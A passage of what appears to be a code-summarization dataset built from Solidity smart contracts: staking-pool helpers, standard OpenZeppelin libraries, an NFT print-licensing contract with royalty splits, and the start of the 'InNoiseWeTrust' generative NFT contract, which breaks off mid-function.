* @notice We are aware of the gas problem that will occur with the for loop here. This won't be a problem as we won't have more than 10-20 pools.
*/
function getTotStakedAndAlloc()
external
view
returns (uint256 totStakedAmount, uint256 totAlloc)
{
for (uint256 i = 0; i < pools.length; i++) {
PoolInfo memory pool = pools[i];
totStakedAmount += pool.stakedAmount;
totAlloc += pool.lockedLimit - pool.stakedAmount;
}
return (totStakedAmount, totAlloc);
}
function _getStakerDuration(uint256 _closedTime, uint256 _startTime)
private
view
returns (uint256)
{
uint256 endTime = block.timestamp > _closedTime
? _closedTime
: block.timestamp;
uint256 duration = endTime - _startTime;
return duration;
}
function _transferAndRemove(
address _user,
uint256 _transferAmount,
uint256 _stakerIndex
) private {
StakerInfo storage staker = stakers[_user][_stakerIndex];
require(
token.transfer(_user, _transferAmount),
"_transferAndRemove: transfer failed."
);
staker.isFinished = true;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
struct Set {
// Storage of set values
uint256[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(uint256 => uint256) _indexes;
}
library UintSet {
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Set storage set, uint256 value) internal returns (bool) {
if (!contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Set storage set, uint256 value) internal returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
uint256 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Set storage set, uint256 value)
internal
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(Set storage set) internal view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Set storage set, uint256 index)
internal
view
returns (uint256)
{
return set._values[index];
}
function getArray(Set storage set)
internal
view
returns (uint256[] memory)
{
return set._values;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
The created period can be remove by the admin. _poolIndex the index of the to be removed pool. Reverts if the pool is not empty. Reverts if the pool is not created before./
|
function removePool(uint256 _poolIndex)
external
onlyRole(DEFAULT_ADMIN_ROLE)
isPoolExist(_poolIndex)
{
if (pools[_poolIndex].reserve > 0) {
require(
token.transfer(msg.sender, pools[_poolIndex].reserve),
"removePool: transfer failed."
);
}
delete pools[_poolIndex];
emit RemovePool(_poolIndex);
}
| 13,043,602 |
./full_match/1/0xf65844315B8e95DaD800fF4e9CFce1a7028b3047/sources/contracts/aspen/api/primarysale/IPrimarySale.sol
|
NOTE: The below feature only exists on ERC1155 atm, therefore new interface that handles only that
|
interface IRestrictedSFTPrimarySaleV0 {
function setSaleRecipientForToken(uint256 _tokenId, address _saleRecipient) external;
event SaleRecipientForTokenUpdated(uint256 indexed tokenId, address saleRecipient);
}
}
| 8,409,861 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
struct License {
uint256 artistRoyalty;
uint256 ownerRoyalty;
uint256 promoterCommission;
bool exists;
}
contract NftPrintLicense is Ownable {
event LicensesEnabledForCollection(address collectionAddress, uint256 artistRoyalty, uint256 ownerRoyalty,
uint256 promoterCommission);
event LicensesDisabledForCollection(address collectionAddress);
event PrintLicensed(address collectionAddress, uint256 tokenId, address promoter,
uint256 artistShare, uint256 ownerShare, uint256 promoterShare, address licensee);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => License) public collectionLicenses;
mapping(address => mapping(uint256 => mapping(address => bool))) public licenseBuyers;
mapping(address => uint256) private pendingWithdrawal;
function enableLicensesForCollection(
address collectionAddress,
uint256 artistRoyalty, uint256 ownerRoyalty, uint256 promoterCommission
) public {
// Only the owner of a collection is allowed to enable license for a collection
address owner = getCollectionOwner(collectionAddress);
require(owner == msg.sender, "not authorized");
// Fail when a license already exists
require(!collectionLicenses[collectionAddress].exists, "License already enabled");
// Created the license object and save it
License memory license = License(artistRoyalty, ownerRoyalty, promoterCommission, true);
collectionLicenses[collectionAddress] = license;
emit LicensesEnabledForCollection(collectionAddress, artistRoyalty, ownerRoyalty, promoterCommission);
}
function disableLicensesForCollection(address collectionAddress) public {
// only the collection owner can disable licensing
address owner = getCollectionOwner(collectionAddress);
require(owner == msg.sender, "not authorized");
// fail when license isn't enabled
require(collectionLicenses[collectionAddress].exists, "licensing not enabled");
delete collectionLicenses[collectionAddress];
emit LicensesDisabledForCollection(collectionAddress);
}
function getLicenseToPrint(address collectionAddress, uint256 tokenId, address promoter) public payable {
License storage license = collectionLicenses[collectionAddress];
// Fail when a license hasn't been defined for the collection
require(license.exists, "no license defined");
// Fail when the payment is too small
uint256 requiredPayment = getRequiredPayment(collectionAddress);
require(msg.value >= requiredPayment, "payment too low");
// calculate royalty and commission shares
uint256 artistShare = license.artistRoyalty;
uint256 ownerShare = license.ownerRoyalty;
uint256 promoterShare = 0;
if (licenseBuyers[collectionAddress][tokenId][promoter]) {
// When the promoter previously bought a license, give them the commission
promoterShare += license.promoterCommission;
} else {
// Otherwise, split it proportioanlly between the tokenOwner and the artist
uint256 totalRoyalty = license.artistRoyalty + license.ownerRoyalty;
uint256 artistPortion = license.promoterCommission * license.artistRoyalty / totalRoyalty;
artistShare += artistPortion;
ownerShare += license.promoterCommission - artistPortion;
}
address artist = getCollectionOwner(collectionAddress);
address tokenOwner = IERC721(collectionAddress).ownerOf(tokenId);
pendingWithdrawal[artist] += artistShare;
pendingWithdrawal[tokenOwner] += ownerShare;
pendingWithdrawal[promoter] += promoterShare;
// allocate the rest to the contract to cover production costs
pendingWithdrawal[this.owner()] += msg.value - artistShare - ownerShare - promoterShare;
// Record the purchase
licenseBuyers[collectionAddress][tokenId][msg.sender] = true;
emit PrintLicensed(collectionAddress, tokenId, promoter, artistShare, ownerShare, promoterShare, msg.sender);
}
function getCollectionOwner(address collectionAddress) private view returns(address){
return Ownable(collectionAddress).owner();
}
function getBalance() public view returns(uint256) {
return pendingWithdrawal[msg.sender];
}
function withdraw() public {
uint256 amount = pendingWithdrawal[msg.sender];
pendingWithdrawal[msg.sender] = 0;
payable(msg.sender).transfer(amount);
emit Withdrawn(msg.sender, amount);
}
function getRequiredPayment(address collectionAddress) public view returns(uint256){
License storage license = collectionLicenses[collectionAddress];
require(license.exists, "no license defined");
return license.artistRoyalty + license.ownerRoyalty + license.promoterCommission; // TODO Add the cost
}
}
|
only the collection owner can disable licensing fail when license isn't enabled
|
function disableLicensesForCollection(address collectionAddress) public {
address owner = getCollectionOwner(collectionAddress);
require(owner == msg.sender, "not authorized");
require(collectionLicenses[collectionAddress].exists, "licensing not enabled");
delete collectionLicenses[collectionAddress];
emit LicensesDisabledForCollection(collectionAddress);
}
| 7,240,996 |
// SPDX-License-Identifier: No License
// Copyright 404.zero, 2022
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
contract InNoiseWeTrust is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
string public constant MANIFEST = (
'ALL INFORMATION EXISTS IN THE CODE - NOTHING IS HIDDEN.\n'
'ONCE THE CODE IS EXECUTED - WE ARE UNABLE TO CHANGE IT OR STOP IT.\n'
'WE DO NOT HAVE FRIENDLY WHITELISTS - NOISE IS THE ONLY ACCESS TO INWT404.\n\n'
'WE ONLY TALK TO THE NOISEFAMILY.\n'
'ANYTHING THAT CAN BE SAID IS HIDDEN IN THE NOISE.\n'
'EVERYTHING WE WILL SAY IS HIDDEN IN THE NOISE.\n'
'DO NOT LOOK ELSEWHERE.\n\n'
'NOISE WILL BE REBORN AS ENDLESSLY AS ALL OTHERS IN THIS WORLD.\n'
'IN THE END, YOU CAN BRING NOTHING,\n'
'BUT THE NOISE WILL ALWAYS FOLLOW YOU.\n'
'DO NOT RESIST.\n\n'
'WE FOLLOW A PARADIGM OF NOISE.\n'
'WE DO NOT DEAL IN OTHER POLEMICS,\n'
'WE TALK ONLY OF THE UNIFIED PERCEPTION OF THE WORLD,\n'
'EXPRESSED THROUGH THE SINGLE MATERIAL AVAILABLE TO US,\n'
'NOISE\n\n'
'ANYTHING MORE THAN THAT IS AN ABUNDANCE OF LIARS.\n'
'ANYTHING LESS THAN THAT IS HUMAN FEAR.\n\n'
'DO NOT SEEK BEAUTY OUTSIDE.\n'
'FIND THE NOISE INSIDE.\n\n'
'AMEN\n\n'
'IN NOISE WE TRUST'
);
struct NoiseDNA {
bytes32 dna;
uint256 programId;
uint256 hinId;
uint256 blockNumber;
}
struct NoiseShader {
string sourceCode;
string uniformTypes;
}
struct NoiseProgram {
string sourceCode;
uint256[] shaderIds;
}
address public constant HIN_ADDRESS = 0xf55dD62034b534e71Cb17EF6E2Bb112e93d6131A;
uint256 public constant MINT_PRICE = 0.404 ether;
uint256 public constant MINT_DURATION = 404;
uint256 public lfgBlockNumber;
mapping(uint256 => NoiseDNA) private _noiseDNA;
mapping(uint256 => NoiseShader) private _noiseShaders;
mapping(uint256 => NoiseProgram) private _noisePrograms;
string public _noiseCore;
mapping(uint256 => uint256) private _hinMints;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
}
modifier notLockedForever() {
require((lfgBlockNumber + MINT_DURATION) > block.number || lfgBlockNumber == 0, "Contract is self-locked forever after the community drop");
_;
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
function lfg(uint256 blockNumber) public onlyOwner notLockedForever {
require(block.number <= blockNumber, "LFG should be greater than or equal to the current block");
lfgBlockNumber = blockNumber;
}
function withdraw(uint256 amount) public payable onlyOwner {
require(amount <= address(this).balance, "Insufficient funds to withdraw");
payable(msg.sender).transfer(amount);
}
function mint(uint256[] calldata hinIds) public payable nonReentrant {
require(block.number >= lfgBlockNumber && (lfgBlockNumber != 0), "Sale has not started yet");
require(block.number < (lfgBlockNumber + MINT_DURATION), "Sale has already ended");
require(hinIds.length > 0, "Mint at least 1 INWT at once");
require(hinIds.length <= 10, "You can only mint 10 INWT at once");
require(msg.value >= (MINT_PRICE * hinIds.length), "Insufficient funds to purchase");
IERC721Enumerable hinContract = IERC721Enumerable(HIN_ADDRESS);
for (uint256 i = 0; i < hinIds.length; i++) {
uint256 hinId = hinIds[i];
require(hinContract.ownerOf(hinId) == msg.sender, "You are not the owner of this HIN");
require(_hinMints[hinId] == 0, "INWT with this HIN has already been minted");
uint256 inwtId = totalSupply();
_safeMint(msg.sender, inwtId);
_synthesizeNoiseDNA(block.number, hinId, inwtId);
_hinMints[hinId]++;
}
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "Token does not exist");
return string(
abi.encodePacked(
'data:application/json,'
'{'
'"name":"', _noiseName(tokenId), '",'
'"description":"', _noiseDescription(tokenId), '",'
'"animation_url":"data:text/html;base64,', Base64.encode(_compileNoiseHTML(tokenId)), '",'
'"background_color":"000000"'
'}'
)
);
}
function hinTokensCanMint(uint256[] calldata hinIds) public view returns (bool[] memory) {
bool[] memory result = new bool[](hinIds.length);
for (uint256 i = 0; i < hinIds.length; i++) {
result[i] = _hinMints[hinIds[i]] == 0;
}
return result;
}
function hinTokenCanMint(uint256 hinId) public view returns (bool) {
return _hinMints[hinId] == 0;
}
function noiseDNA(uint256 noiseId) public view virtual returns (NoiseDNA memory) {
require(_exists(noiseId), "Noise does not exist");
return _noiseDNA[noiseId];
}
function noiseHTML(uint256 noiseId) public view virtual returns (string memory) { // NOTE: Is it ok to return non base64-string? Noise holders should be available just copy-paste noises without any decoding.
require(_exists(noiseId), "Noise does not exist");
return string(_compileNoiseHTML(noiseId));
}
function setNoiseCore(string calldata core) public onlyOwner notLockedForever {
_noiseCore = core;
}
function noiseCore() public view virtual returns (string memory) {
return _noiseCore;
}
function setNoiseShader(uint256 shaderId, NoiseShader calldata shaderData) public onlyOwner notLockedForever {
_noiseShaders[shaderId] = shaderData;
}
function noiseShader(uint256 shaderId) public view virtual returns (NoiseShader memory) {
require(bytes(_noiseShaders[shaderId].sourceCode).length > 0, "Shader does not exist");
return _noiseShaders[shaderId];
}
function setNoiseProgram(uint256 programId, NoiseProgram calldata programData) public onlyOwner notLockedForever {
_noisePrograms[programId] = programData;
}
function noiseProgram(uint256 programId) public view virtual returns (NoiseProgram memory) {
require(bytes(_noisePrograms[programId].sourceCode).length > 0, "Program does not exist");
return _noisePrograms[programId];
}
function _synthesizeNoiseDNA(uint256 blockNumber, uint256 hinId, uint256 inwtId) private {
_noiseDNA[inwtId] = NoiseDNA({
dna: _mixNoiseDNA(blockNumber, hinId, inwtId),
programId: _mixNoiseProgram(inwtId),
hinId: hinId,
blockNumber: blockNumber
});
}
function _mixNoiseDNA(uint256 blockNumber, uint256 hinId, uint256 inwtId) private pure returns (bytes32) {
return keccak256(abi.encode(blockNumber, hinId, inwtId));
}
function _mixNoiseProgram(uint256 inwtId) private pure returns (uint256) {
return ((inwtId % 13) + ((inwtId * 2 + 19) % 17)) % 12;
}
function _noiseName(uint256 noiseId) private pure returns (bytes memory) {
return abi.encodePacked('INWT ', (noiseId + 1).toString());
}
function _noiseDescription(uint256 noiseId) private view returns (bytes memory) {
return abi.encodePacked('INNOISEWETRUST #', noiseId.toString(), '/', totalSupply().toString(), '. 404.zero, 2022');
}
function _compileNoiseHTML(uint256 noiseId) private view returns (bytes memory) {
return abi.encodePacked(
'<!DOCTYPE html>'
'<html>'
'<head>'
'<title>', _noiseName(noiseId), '</title>'
'<meta name="description" content="', _noiseDescription(noiseId), '" />'
'<style>body{background:#000;margin:0;padding:0;overflow:hidden;}</style>'
'</head>'
'<body>'
'<script type="application/javascript">', _noiseCore, _compileNoiseJS(noiseId), '</script>'
'</body>'
'</html>'
'\n'
'<!--'
'\n', MANIFEST, '\n'
'-->'
'\n'
);
}
function _compileNoiseJS(uint256 noiseId) private view returns (bytes memory) {
NoiseProgram memory program = _noisePrograms[_noiseDNA[noiseId].programId];
bytes memory shaders = '';
for (uint256 i = 0; i < program.shaderIds.length; i++) {
uint256 shaderId = program.shaderIds[i];
shaders = abi.encodePacked(
